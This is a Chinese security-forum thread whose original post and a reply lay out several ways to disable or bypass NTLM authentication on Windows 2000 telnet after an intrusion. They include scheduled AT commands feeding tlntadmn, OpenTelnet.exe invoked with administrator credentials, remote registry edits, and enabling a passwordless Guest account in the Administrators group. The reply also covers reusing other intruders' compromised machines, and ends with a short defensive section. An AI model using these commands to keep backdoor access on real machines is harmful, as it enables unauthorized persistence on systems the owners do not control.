返回列表 发帖

[原创]远程冲破telnet中NTLM权限验证的多种方法

自从上大学后就很少写这类文章了,谨以此文献我最爱的爸爸和妈妈,此文章是特别为我的好朋友中国暗域网络会员 《闪客幽灵》 所写,希望能对他有所帮助。感谢大家一如既往的支持中国暗域网络。 原创声明: 中国暗域网络技术资讯站原创文章,文章作者 冰血封情,劳烦转载请著名出处。我们将尽力将中国暗域网络向学术性的站点偏移。 注意本文是在桂林电子工业学院计算机系专用学生机房做的实验,目标机器的IP这里定为172.16.93.66。相关软件将在文章末尾给出下载地址。 拙笔正文: 前几天,我的一个朋友在我所在的中国暗域网络的技术论坛(forum.hackway.net)问了一个有关于telnet的问题,我觉得的确是很有代表性,关于问题具体内容我就不说了,为了节省时间空间这里只给出连接关于telnet中存在的疑问。按照中国暗域网络的技术承诺,如果会员问了问题,凡是有必要的,站里都会专门为这位会员写一篇文章做详细[答疑]。由于冰血封情觉得问题太典型,所以我们单独做了一个[原创]文章,为的是让更多的朋友了解这个问题。至于高手就不用看本文了,我所写的也都是笨拙的技巧。 其实,这都是入侵后期的一个技巧。很多情况下,当通过各种方式得到目标计算机的权限之后,为了方便日后登录我们通常会利用或者开起一些目标计算机的服务。telnet便是其中很主要的角色之一。但是众所周知的是,一旦telnet服务开启了NTLM(NT Lan Manager)身份验证,那对入侵者来说是件十分痛苦的事情。今天我们就来简单讨论一下各种解除NTLM的条件和方法。 NO1使用榕哥的作品ntlm.exe 感谢:我们中国网络安全界优秀的程序员小榕,欢迎大家访问他的站点NetXEyes,也欢迎大家访问中国网络安全最高学府安全焦点,个人比较敬佩小榕前辈。 如果您知道了一台主机的管理员权限,并确切的知道他的用户ID和password,而且对方允许网际进程连接(ipc$)和AT命令,那么你可以使用这种方法。现在先和目标计算机建立一个ipc连接,然后将此文件copy到目标计算机上,然后通过AT命令执行就OK了!这个方法应该是最方便的了,说到头还是得感谢榕哥。这里是浅谈,所以一些实在太过于基础的步骤我就不详细说了,如果有疑问,欢迎访问中国暗域网络技术论坛NO2通过自己编写batch文件 感谢:其实这种方法N早就在《黑客X档案》上有人写过,我只是综合一下,不知道会不会有'版权纠纷'?哈……不闲扯。这里很感谢2002年8月《黑客X档案》第43页文章《徒手屏蔽远程telnet服务的ntlm认证》的作者heikeangel。 这个方法的实现条件和NO1相同。那么看看原文中heikeangel是怎么说的呢
……大家可以看一下Win2000和NT4自带的tlntadmn这个命令,它是用来控制台修改telnet设置的。很可惜,这是一个控制台的交互式工具,所以at命令没有办法直接调用。现在我们执行一下tlntadmn,然后按照以下的顺序操作:停止服务(5)->更改设置(3)->NTLM(7)->确认更改(y)->修改NTLM当前值(0)->再次确认(y)->退出菜单(0)->启动服务(4)->退出程序(0)……
好了按照所提示的方法,这里我们就编写一个批处理文件,首先用AT命令取得对方系统时间。假设得到对方时间为20:11,然后键入…… at \\172.16.93.66 20:18 "echo 5 >> c:\evilin.txt" at \\172.16.93.66 20:18 "echo 3 >> c:\evilin.txt" at \\172.16.93.66 20:18 "echo 7 >> c:\evilin.txt" at \\172.16.93.66 20:18 "echo y >> c:\evilin.txt" at \\172.16.93.66 20:18 "echo 0 >> c:\evilin.txt" at \\172.16.93.66 20:18 "echo y >> c:\evilin.txt" at \\172.16.93.66 20:18 "echo 0 >> c:\evilin.txt" at \\172.16.93.66 20:18 "echo 4 >> c:\evilin.txt" at \\172.16.93.66 20:18 "echo 0 >> c:\evilin.txt" at \\172.16.93.66 20:18 "c:\winnt\system32\tlntadmn.exe < c:\evilin.txt" at \\172.16.93.66 20:18 "del c:\evilin.txt /f" 然后再用AT命令执行at 172.16.93.66 20:18 tlntadmn,c:\evilin.txt就一切搞掂了! NO3通过工具opentelnet.exe 感谢:工具OpenTelnet.exe和ResumeTelnet.exe的作者refdom前辈,他的文章WIN2K的Telnet服务Hacking吐血推荐阅读。当然也欢迎访问中国网络安全最高学府安全焦点。 如果您知道了一台主机的管理员权限,并确切的知道他的用户ID和password,并且对方还没开telnet,那么我们就厚起脸皮用高手写的工具开始吧。具体过程refdom前辈已经很详细的介绍在文章中了。(为了方便和本文的结合,我修改了target IP希望refdom前辈理解)
Opentelnet.exe的用法: OpenTelnet.exe \\server <帐号> <密码> 比如下面的:(命令意思是连接172.16.93.66,帐号administrator,密码123456 ,0表示不使用NTLM认证方式, Telnet的端口是90) C:\>OpenTelnet.exe \\172.16.93.66 administrator 123456 0 90 当程序运行后得到: BINGLE!!!Yeah!! Telnet Port is 90. You can try:"telnet ip 90", to connect the server! Disconnecting server...Successfully! 就说明Telnet服务启动成功,并且使用的端口是90。这样,我们就能够得到一个开90端口的Windows 2000 Telnet服务器。 Telnet 172.16.93.66 就可以登录上去了,而且不使用 NTLM认证方式。 ResumeTelnet.exe,是用来恢复Telnet配置的,并关闭Telnet服务器,它的用法是: ResumeTelnet.exe \\ip <帐号> <密码> 例如: C:\>ResumeTelnet.exe \\172.16.93.66 administrator 123456 如果程序运行后显示: BINGLE!!! The config of remote telnet server is resumed! Disconnecting server...Successfully! 就说明服务器端Telnet 的配置又返回到原来的状态中了。
再次以最高的敬意感谢refdom前辈。 NO4利用远程注册表实现 如果您知道了一台主机的管理员权限,并确切的知道他的用户ID和password,并且对方开启了远程注册表服务和telnet服务。 首先我们和172.16.93.66建立ipc$连接,然后启动本地的注册表编辑器,选择"工具"中的"连接网络注册表",在出现的连接对话框中输入172.16.93.66,回车后进入远程注册表,找到HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\TelnetServer\1.0下的NTLM键值,将其修改为0或者1,完成后断开所有连接,只要对方重新启动后就彻底摆平! NO5利用系统新建用户 如果您知道了一台主机的管理员权限,并确切的知道他的用户ID和password,并且对方开启了telnet服务。那么我们来介绍一下这种方法……大体上的目标是在本地建立一个和对方帐号同名同权限的帐号,以这种修改连接身份的方法来绕过验证。 这里具体方法如下。首先照上面所说的建立一个符合要求的用户,这里我们把叫做"跳板"用户,然后在c:\WINNT\SYSTEM32\cmd.exe上单击右键选择"属性",在"属性"选项卡中勾选"以其他用户身份运行","确定"后,双击运行它,输入你所建立的那个"跳板"用户的ID和password,然后直接可以在这个cmd.exe中实现Telnet而不需要NTLM身份验证了。多爽啊? 本文就写到这里,这只是平时积累的点知识,拿出来给大家分享,本文完全免费投放于网络。希望我的拙劣技巧能给大家一点启迪,开放出更新的方法,欢迎来中国暗域网络和我讨论,我是菜鸟冰血封情。由于本人的水平不济,文章有不到之处,请高手斧正!再次感谢所有为中国网络安全发展做出贡献的高手和前辈们,你们是伟大的。enjoy it! Good luck:) 灌水广告: ——文章原创由 中国暗域网络 及 邪恶八进制 冰血封情 ——Be powered by Hackway Power of Cn & EvilOctal Security Group Evilin ——欢迎访问 www.HackWay.net & www.EvilOctal.com

[原创]远程冲破telnet中NTLM权限验证的多种方法

感谢 冰血封情带来的原创作品!

TOP

[原创]远程冲破telnet中NTLM权限验证的多种方法

绕过NTLM认证方式的另一种方法 b
文/mix
众所周知,在默认情况下开启win2k的telnet服务后,如果要登陆上去的话,首先要修改微软Telnet的NTLM认证方式。网上流传了很多种修改方法,常见的有:

1.直接使用OpenTelnet.exe在开启telnet服务的时候就修改NTLM认证方式。(必须要有Admin账户密码和服务器开放IPC共享服务)
2.用流光的种植者远程运行NTLM.exe程序,修改NTLM认证方式。(必须要有Admin账户密码和服务器对IPC共享服务的支持)
3.还可以使用echo命令写个包括交互式控制命令的脚本,利用dos重定向给tlntadmn.exe后,即执行 c:\winnt\system32\tlntadmn.exe < c:\脚本名 便改掉了NTLM认证方式。(必须要有足够权限的shell或后门)
4.然后就是用eva的利用WMI的WSH脚本远程开启telnet并修改NTLM认证方式。(必须要有Admin账户密码和服务器开放WMI服务)
5.最后还有在客户端使用服务器端admin的用户名及密码身份开启cmd再telnet上去。(必须要有Admin账户密码和有足够权限的shell或后门)

当然,以上说的每种方法都有每各自的方便,我也想到一种方法可以修改NTLM认证方式,可以说是第五种方法的孪生兄弟。不敢独享,故分享之。

首先看看win2k的帮助:
来宾帐户由在这台计算机上没有实际帐户的人使用。帐户被禁用(不是删除)的用户也可以使用来宾帐户。来宾帐户不需要密码。来宾帐户默认是禁用的,但也可以启用。
可以象任何用户帐户一样设置来宾帐户的权利和权限。默认情况下,来宾帐户是内置来宾组的成员,该组允许用户登录工作站或成员服务器。其他权利及任何权限都必须由管理员组的成员授予来宾组。
来宾组允许偶尔或临时用户登录工作站的内置来宾帐户,并授予有限的能力。来宾组的成员也可以关闭系统。

从上面的解释中我们不难看到来宾帐户是可以匿名的。这也就是说,如果来宾帐户被开放了的话,就可以使用本系统中并不存在的用户进行匿名IPC连接,当然也包括telnet了。所以我们想要绕过NTLM认证方式,我们完全可以从来宾帐户入手:
首先我们将默认禁用的来宾帐户Guest激活,并清空其账号密码,在CMD下的命令是 net user Guest /active:yes 和net user Guest "" ;然后将其加入Administrators组,在CMD下的命令是 net localgroup administrators Guest /add ;最后我们就可以用除服务器上存在的用户名为名的其他账号开启CMD环境,再在这个环境下telnet,一样可以登陆上。和首先说的第五种方法相比较,就不难发现,首先说的第五种方法是需要知道服务器中存在的Admin账户及密码为前提的,而我说的这种方法则是刚好和他相反,可以使用服务器中不存在的账户。
以下是简单的实践过程:测试环境为2台win2k Professional,其中一台是用VMware虚拟的,IP是192.168.0.112,另外一台是系统本身,IP是192.168.0.111。
1.在虚拟的服务器端上执行
net user Guest "" /*清空Guest账号的密码*/
net user Guest /active:yes /*激活Guest账号*/
net localgroup administrators Guest /add /*将Guest账号加入管理员组*/
net start telnet /*打开telnet服务*/
这里为了方便我是直接在虚拟机192.168.0.112中直接执行的,大家也可以在获得的有权限的shell后门中执行这些命令。如图一:

2.客户端执行
net user mix /add /*在本地建立一服务器中不存在的空密码账户*/
runas /profile /user:mix cmd /*以mix的身份打开一新的CMD窗口*/
在192.168.0.111上执行上述这些命令,如图二。

3.最后在客户端新开的CMD窗口中我们就可以直接登陆服务器192.168.0.112了,如图三。

简单分析一下我这种方法和网上流传的几种方法的差别。除上述的第三种方法外的其他方法,都必须要有服务器端一个Admin账户和密码,如果不知道当然也可以想办法用其他方式在服务器上自己建一个。但关键的是这些方法要么需要IPC连接,要么需要启动WMI服务。我的方法和第三、第五种方法的前提条件有点相似,但只需要一个有添加adminstartors组组员权限的shell就可以办到了。而且用我的方法telnet上去(使用3389终端连接没有条件测试,有兴趣的朋友可以自己试试)之后,都不会像用其他方法登陆上去一样,在Documents and Settings文件夹下建立相应账户的用户的配置文件,省去了擦PP的辛苦~~~呵呵,懒人!

好了,让我们再想想看,还有什么可以利用的。对,我们应该想到克隆!很多人都喜欢将自己肉鸡中的Guest账户克隆成administrator,这样一来,就相当于将Guest激活并加入了administrators工作组,这和我们刚才所做的手续功效基本吻合。由此可见,只要有人将自己肉鸡的Guest账户克隆并且没有给Guest设置密码的话,我们就可以用该肉鸡中不存在的用户名进行IPC连接或者是telnet上去,我们的权限绝对是admin,要谢谢这些仁兄了~~~呵呵。怎样做才可以防止别人这样抢占我们的劳动成果呢?很简单,为我们的Guest账户设上强壮的密码,这样的话在匿名登陆的时候,除非所使用的账号的密码和我们设置的密码相同,否则将不能够通过验证。设置Guest账号密码在CMD环境下的命令是:net user guest “password” 其两个引号中的字符便是你想要设置的密码。

稍微再扩展一点,如果在服务器端存在一密码为空的账户既属于Guests来宾组又属于administrators管理员组,那么是否已可以匿名telnet呢?实践证明这是错的。原因是只有Guest账号才能代表全局的来宾账户,Guests组的其它用户不能启用匿名登陆功能,这和win98访问win2k共享资源时必须将Guest账户打开并不设密码是差不多的原理。

既然说了攻,当然也要说防了。再看一条微软的帮助:
如果对用户设置了“下次登录时用户必须更改密码”,则当使用 NTLM 身份验证时,登录到 Telnet 服务器的尝试将会失败。用户必须直接登录到服务器并更改密码,然后再通过 Telnet 登录。

以上的帮助写得再清楚不过了,我们只要将Guest账户设置好强壮的密码或是将其账户属性在账户控制台中改为“账户已停用”和“下次登录时用户必须更改密码”就可以防止来宾帐户telnet了。这当然是保险系数不高的,再来招隐蔽点的。并不是所有人都注意到telnet到服务器上去之后,Telnet服务器那边默认会执行C:\WINNT\system32\login.cmd这个全局登录脚本的,我们只要用记事本打开这个文件,在其最后一行加上一句:exit 。这样被可以使那些telnet上来的人自动断开连接的,不会留给他执行任何命令的时间。当然,管理员也不能认为这样便可以一劳永逸了,毕竟人上有人、天外有天,只有定时不定时的做好测查管理员组和启动的服务以及本机所打开的端口等工作,才能守好自己的阵地。

TOP

[原创]远程冲破telnet中NTLM权限验证的多种方法

楼主好幽默啊~~~还做广告

TOP

[原创]远程冲破telnet中NTLM权限验证的多种方法

感谢 冰血封情 大哥的原创作品

TOP

返回列表 回复 发帖